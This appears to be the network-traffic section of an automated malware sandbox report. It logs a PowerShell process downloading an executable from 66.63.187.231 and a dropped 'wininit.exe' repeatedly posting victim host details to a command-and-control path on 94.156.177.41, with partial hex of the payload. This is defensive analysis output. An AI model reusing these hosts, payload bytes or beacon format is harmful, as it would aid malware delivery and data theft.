Nov 20, 2024 10:58:47.637542963 CET	58835	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:47.637847900 CET	80	58835	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:47.638000011 CET	58835	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:47.644968987 CET	80	58835	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:47.786815882 CET	58836	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:47.794821978 CET	80	58836	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:47.794914007 CET	58836	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:47.796686888 CET	58836	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:47.801578045 CET	80	58836	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:47.801636934 CET	58836	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:47.806540012 CET	80	58836	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:48.567925930 CET	80	58836	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:48.567954063 CET	80	58836	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:48.568051100 CET	58836	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:48.568100929 CET	58836	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:48.573043108 CET	80	58836	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:48.707339048 CET	58837	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:48.712539911 CET	80	58837	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:48.712641954 CET	58837	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:48.714452028 CET	58837	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:48.719326973 CET	80	58837	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:48.719400883 CET	58837	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:48.724433899 CET	80	58837	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:49.472841978 CET	80	58837	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:49.472870111 CET	80	58837	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:49.472958088 CET	58837	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:49.472958088 CET	58837	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:49.481215954 CET	80	58837	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:49.612988949 CET	58838	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:49.621094942 CET	80	58838	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:49.621206999 CET	58838	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:49.623297930 CET	58838	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:49.631505013 CET	80	58838	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:49.631589890 CET	58838	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:49.639758110 CET	80	58838	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:50.369251013 CET	80	58838	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:50.369292021 CET	80	58838	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:50.369374990 CET	58838	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:50.369374990 CET	58838	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:50.374367952 CET	80	58838	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:50.519860029 CET	58839	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:50.524877071 CET	80	58839	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:50.524975061 CET	58839	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:50.526932001 CET	58839	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:50.531862974 CET	80	58839	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:50.531924009 CET	58839	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:50.536765099 CET	80	58839	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:51.270072937 CET	80	58839	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:51.270102024 CET	80	58839	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:51.270204067 CET	58839	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:51.270299911 CET	58839	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:51.275613070 CET	80	58839	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:51.450314999 CET	58840	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:51.455418110 CET	80	58840	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:51.455514908 CET	58840	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:51.457564116 CET	58840	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:51.462441921 CET	80	58840	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:51.462507010 CET	58840	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:51.467387915 CET	80	58840	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:52.210387945 CET	80	58840	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:52.210517883 CET	58840	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:52.210544109 CET	80	58840	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:52.210601091 CET	58840	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:52.215522051 CET	80	58840	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:52.349620104 CET	58841	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:52.356563091 CET	80	58841	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:52.356632948 CET	58841	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:52.358613968 CET	58841	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:52.365026951 CET	80	58841	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:52.365082979 CET	58841	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:52.371335983 CET	80	58841	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:53.245441914 CET	80	58841	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:53.245461941 CET	80	58841	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:53.245527983 CET	58841	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:53.245604992 CET	58841	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:53.253973961 CET	80	58841	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:53.405843973 CET	58842	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:53.412842989 CET	80	58842	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:53.412911892 CET	58842	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:53.415009975 CET	58842	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:53.422384977 CET	80	58842	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:53.422435045 CET	58842	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:53.429657936 CET	80	58842	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:54.194730997 CET	80	58842	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:54.194983959 CET	58842	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:54.195547104 CET	80	58842	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:54.195610046 CET	58842	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:54.200047016 CET	80	58842	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:54.347413063 CET	58843	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:54.352335930 CET	80	58843	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:54.352413893 CET	58843	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:54.354259968 CET	58843	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:54.359146118 CET	80	58843	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:54.359199047 CET	58843	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:54.364052057 CET	80	58843	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:55.228442907 CET	80	58843	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:55.228476048 CET	80	58843	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:55.228559017 CET	58843	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:55.228590012 CET	58843	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:55.236154079 CET	80	58843	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:55.369070053 CET	58844	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:55.374665976 CET	80	58844	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:55.374739885 CET	58844	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:55.376452923 CET	58844	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:55.381926060 CET	80	58844	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:55.384692907 CET	58844	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:55.390120983 CET	80	58844	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:56.119107008 CET	80	58844	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:56.119265079 CET	58844	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:56.119352102 CET	80	58844	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:56.119541883 CET	58844	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:56.125649929 CET	80	58844	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:56.436863899 CET	58845	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:56.441912889 CET	80	58845	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:56.441998959 CET	58845	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:56.451621056 CET	58845	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:56.456595898 CET	80	58845	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:56.456662893 CET	58845	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:56.461487055 CET	80	58845	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:57.203265905 CET	80	58845	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:57.203366041 CET	80	58845	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:57.203521967 CET	58845	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:57.203623056 CET	58845	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:57.208517075 CET	80	58845	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:57.351120949 CET	58846	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:57.356703043 CET	80	58846	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:57.360707998 CET	58846	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:57.363667965 CET	58846	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:57.368532896 CET	80	58846	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:57.368693113 CET	58846	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:57.373564959 CET	80	58846	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:58.145519972 CET	80	58846	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:58.145543098 CET	80	58846	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:58.145778894 CET	58846	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:58.145905018 CET	58846	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:58.152996063 CET	80	58846	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:58.287749052 CET	58847	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:58.292709112 CET	80	58847	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:58.292794943 CET	58847	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:58.294749975 CET	58847	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:58.299565077 CET	80	58847	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:58.299877882 CET	58847	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:58.304718018 CET	80	58847	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:59.067029953 CET	80	58847	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:59.067048073 CET	80	58847	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:59.067131996 CET	58847	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:59.067240953 CET	58847	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:59.072613955 CET	80	58847	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:59.210427046 CET	58848	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:59.215637922 CET	80	58848	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:59.215744972 CET	58848	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:59.217894077 CET	58848	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:59.223052979 CET	80	58848	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:59.223139048 CET	58848	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:59.227937937 CET	80	58848	94.156.177.41	192.168.2.4
Nov 20, 2024 10:59:00.142062902 CET	80	58848	94.156.177.41	192.168.2.4
Nov 20, 2024 10:59:00.142313957 CET	80	58848	94.156.177.41	192.168.2.4
Nov 20, 2024 10:59:00.142398119 CET	58848	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:59:00.164781094 CET	58848	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:59:00.169903994 CET	80	58848	94.156.177.41	192.168.2.4
Nov 20, 2024 10:59:00.297147036 CET	58849	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:59:00.305025101 CET	80	58849	94.156.177.41	192.168.2.4
Nov 20, 2024 10:59:00.305135965 CET	58849	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:59:00.307096004 CET	58849	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:59:00.314915895 CET	80	58849	94.156.177.41	192.168.2.4
Nov 20, 2024 10:59:00.315009117 CET	58849	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:59:00.319902897 CET	80	58849	94.156.177.41	192.168.2.4
Nov 20, 2024 10:59:01.195844889 CET	80	58849	94.156.177.41	192.168.2.4
Nov 20, 2024 10:59:01.196180105 CET	80	58849	94.156.177.41	192.168.2.4
Nov 20, 2024 10:59:01.196244001 CET	58849	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:59:01.196295977 CET	58849	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:59:01.201970100 CET	80	58849	94.156.177.41	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 10:57:33.821121931 CET	53	63524	162.159.36.2	192.168.2.4
Nov 20, 2024 10:57:34.294576883 CET	63608	53	192.168.2.4	1.1.1.1
Nov 20, 2024 10:57:34.302139997 CET	53	63608	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 10:57:34.294576883 CET	192.168.2.4	1.1.1.1	0xce69	Standard query (0)	198.187.3.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 10:57:18.117548943 CET	1.1.1.1	192.168.2.4	0xf975	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:57:18.117548943 CET	1.1.1.1	192.168.2.4	0xf975	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:57:34.302139997 CET	1.1.1.1	192.168.2.4	0xce69	Name error (3)	198.187.3.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

66.63.187.231

94.156.177.41

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	66.63.187.231	80	6668	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:04.858405113 CET	286	OUT	GET /33/caspol.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 66.63.187.231 Connection: Keep-Alive
Nov 20, 2024 10:57:05.600949049 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:57:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Wed, 20 Nov 2024 01:27:09 GMT ETag: "92a00-6274e0c657f44" Accept-Ranges: bytes Content-Length: 600576 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ed 3a 3d 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 08 09 00 00 20 00 00 00 00 00 00 e6 26 09 00 00 20 00 00 00 40 09 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 09 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 26 09 00 4f 00 00 00 00 40 09 00 7c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 09 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL:=g0 & @@ `&O@\|` H.text `.rsrc\|@@@.reloc`(@B&H6(^(}{rp o5{o7&0{o9}&0to{{rp(o:+%{oo;o&Xi2{o<&{o=+E\b2{oAn(}}(*0
Nov 20, 2024 10:57:05.601052999 CET	1236	IN	Data Raw: 00 be 00 00 00 03 00 00 11 02 7b 07 00 00 04 6f 1a 00 00 0a 17 8d 33 00 00 01 25 16 1f 3b 9d 6f 1b 00 00 0a 0a 02 7b 09 00 00 04 6f 1a 00 00 0a 0b 73 1c 00 00 0a 0c 02 7b 03 00 00 04 06 07 08 6f 03 00 00 06 2c 69 72 35 00 00 70 0d 08 6f 1d 00 00 Data Ascii: {o3%;o{os{o,ir5po+(r5p(( -o!r9p(("&{o#{o#+rap("&&(*L$p.0#{
Nov 20, 2024 10:57:05.601090908 CET	1236	IN	Data Raw: 00 00 0a 02 7b 0b 00 00 04 1e 1d 1e 1d 73 32 00 00 0a 6f 33 00 00 0a 02 7b 0b 00 00 04 72 b9 01 00 70 6f 34 00 00 0a 02 7b 0b 00 00 04 20 c8 00 00 00 1f 37 73 35 00 00 0a 6f 36 00 00 0a 02 7b 0b 00 00 04 1b 6f 37 00 00 0a 02 7b 0b 00 00 04 72 d3 Data Ascii: {s2o3{rpo4{ 7s5o6{o7{rpo8{o<{s:o="A"As>(?(@ ] s5(A(B{oC(B{oC(B{oC(B{oC
Nov 20, 2024 10:57:05.601814985 CET	1236	IN	Data Raw: 00 1f 20 73 35 00 00 0a 6f 36 00 00 0a 02 7b 11 00 00 04 1b 6f 37 00 00 0a 02 7b 11 00 00 04 72 53 03 00 70 6f 38 00 00 0a 20 2b 23 00 00 28 4f 00 00 0a 06 72 65 03 00 70 6f 44 00 00 0a 75 03 00 00 1b 0b 28 50 00 00 0a 72 6f 03 00 70 6f 51 00 00 Data Ascii: s5o6{o7{rSpo8 +#(OrepoDu(PropoQiI((8a_X ]X __`aX _EE(X _{a
Nov 20, 2024 10:57:05.601851940 CET	896	IN	Data Raw: 16 00 00 04 2d 1e 72 27 04 00 70 d0 06 00 00 02 28 29 00 00 0a 6f 62 00 00 0a 73 63 00 00 0a 80 16 00 00 04 7e 16 00 00 04 2a 1a 7e 17 00 00 04 2a 1e 02 80 17 00 00 04 2a 6a 28 18 00 00 06 72 67 04 00 70 7e 17 00 00 04 6f 64 00 00 0a 74 26 00 00 Data Ascii: -r'p()obsc~~j(rgp~odt&j(rp~odt&j(rp~odt&j(rp~odt&j(rp~odt&~(eVs!(ft*0{
Nov 20, 2024 10:57:05.602579117 CET	1236	IN	Data Raw: 33 00 00 06 02 17 8d 31 00 00 01 25 16 72 5f 05 00 70 a2 28 32 00 00 06 03 17 8d 33 00 00 01 25 16 1f 0a 9d 6f 1b 00 00 0a 73 72 00 00 0a 0a 0b 16 0c 2b 49 07 08 9a 0d 09 16 6f 73 00 00 0a 1f 2e 33 22 06 72 67 05 00 70 6f 74 00 00 0a 26 06 09 6f Data Ascii: 31%r_p(23%osr+Ios.3"rgpot&ot&r5pot&+ot&r5pot&Xi2ourkp((31%rp(2rwp(31%rp(20Grp((3(4
Nov 20, 2024 10:57:05.602617025 CET	1236	IN	Data Raw: 07 12 00 68 08 f3 05 0e 00 ef 02 b0 06 0e 00 9b 03 b0 06 0e 00 99 02 96 07 0e 00 a6 0c e8 0b 06 00 0c 07 55 00 0e 00 d7 06 e8 0b 0e 00 f4 06 3c 0e 06 00 d7 08 7d 0d 0e 00 02 06 87 0b 06 00 6f 05 7d 0d 06 00 be 05 23 07 0a 00 cf 06 5a 0b 06 00 c5 Data Ascii: hU<}o}#Z##ZwZZY##gZ>B#Z>ZZx Z#CVt}#3Q
Nov 20, 2024 10:57:05.603575945 CET	1236	IN	Data Raw: 00 10 00 27 00 35 34 00 00 00 00 e6 01 26 0c 06 00 28 00 58 34 00 00 00 00 e6 01 28 0e 0d 03 28 00 ac 34 00 00 00 00 e6 01 7a 08 0d 03 29 00 f8 34 00 00 00 00 e6 01 7f 08 3f 00 2a 00 0b 35 00 00 00 00 e6 01 44 0c 06 00 2a 00 3c 35 00 00 00 00 81 Data Ascii: '54&(X4((4z)4?5D<5*5,5-,6?.}._?1d?1y}1_1/3J45
Nov 20, 2024 10:57:05.603611946 CET	1236	IN	Data Raw: 08 15 00 99 02 b7 09 c5 00 91 00 c5 05 7e 01 31 02 32 0c 06 00 a1 02 da 0a 85 01 a1 02 55 0c 89 01 a1 02 3f 08 8e 01 c1 01 2f 0e 94 01 21 01 b7 09 9a 01 21 01 14 0c a2 01 49 01 b7 09 06 00 a9 02 53 01 aa 01 51 01 38 01 7d 00 51 01 b7 09 06 00 51 Data Ascii: ~12U?/!!ISQ8}QQQiiQAD=qqh?}?FA=YYY#A+1
Nov 20, 2024 10:57:05.604146004 CET	1236	IN	Data Raw: 5f 4e 61 6d 65 00 67 65 74 5f 4d 61 63 68 69 6e 65 4e 61 6d 65 00 43 61 6c 6c 42 79 4e 61 6d 65 00 55 73 65 72 6e 61 6d 65 00 5f 75 73 65 72 6e 61 6d 65 00 73 65 74 5f 4d 75 6c 74 69 6c 69 6e 65 00 43 61 6c 6c 54 79 70 65 00 67 65 74 5f 43 75 6c Data Ascii: _Nameget_MachineNameCallByNameUsername_usernameset_MultilineCallTypeget_Cultureset_CultureresourceCultureCaptureButtonBaseApplicationSettingsBaseTextBoxBaseCheckResponseresponseCloseDisposeAuthenticateEditorBrowsableStatePr
Nov 20, 2024 10:57:05.614397049 CET	1236	IN	Data Raw: 65 74 77 6f 72 6b 53 74 72 65 61 6d 00 53 73 6c 53 74 72 65 61 6d 00 5f 73 73 6c 53 74 72 65 61 6d 00 47 65 74 53 74 72 65 61 6d 00 5f 73 74 72 65 61 6d 00 50 72 6f 67 72 61 6d 00 53 79 73 74 65 6d 00 54 72 69 6d 00 4d 61 69 6c 46 72 6f 6d 00 6d Data Ascii: etworkStreamSslStream_sslStreamGetStream_streamProgramSystemTrimMailFrommailFrom_startupFormresourceManMainAuthLoginset_Marginset_IconApplicationset_LocationSystem.ConfigurationSystem.GlobalizationInteractionSystem.Reflect

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:12.800262928 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 176 Connection: close
Nov 20, 2024 10:57:12.808001995 CET	176	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: 'ckav.rujones142233JONES-PCk0FDD42EE188E931437F4FBE2CPtUyE
Nov 20, 2024 10:57:13.563699007 CET	185	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:13 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:13.752315998 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 176 Connection: close
Nov 20, 2024 10:57:13.757343054 CET	176	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: 'ckav.rujones142233JONES-PC+0FDD42EE188E931437F4FBE2CHK9oT
Nov 20, 2024 10:57:14.904177904 CET	185	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:14 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:15.000155926 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:15.026901007 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:15.973125935 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:15 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49739	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:16.121282101 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
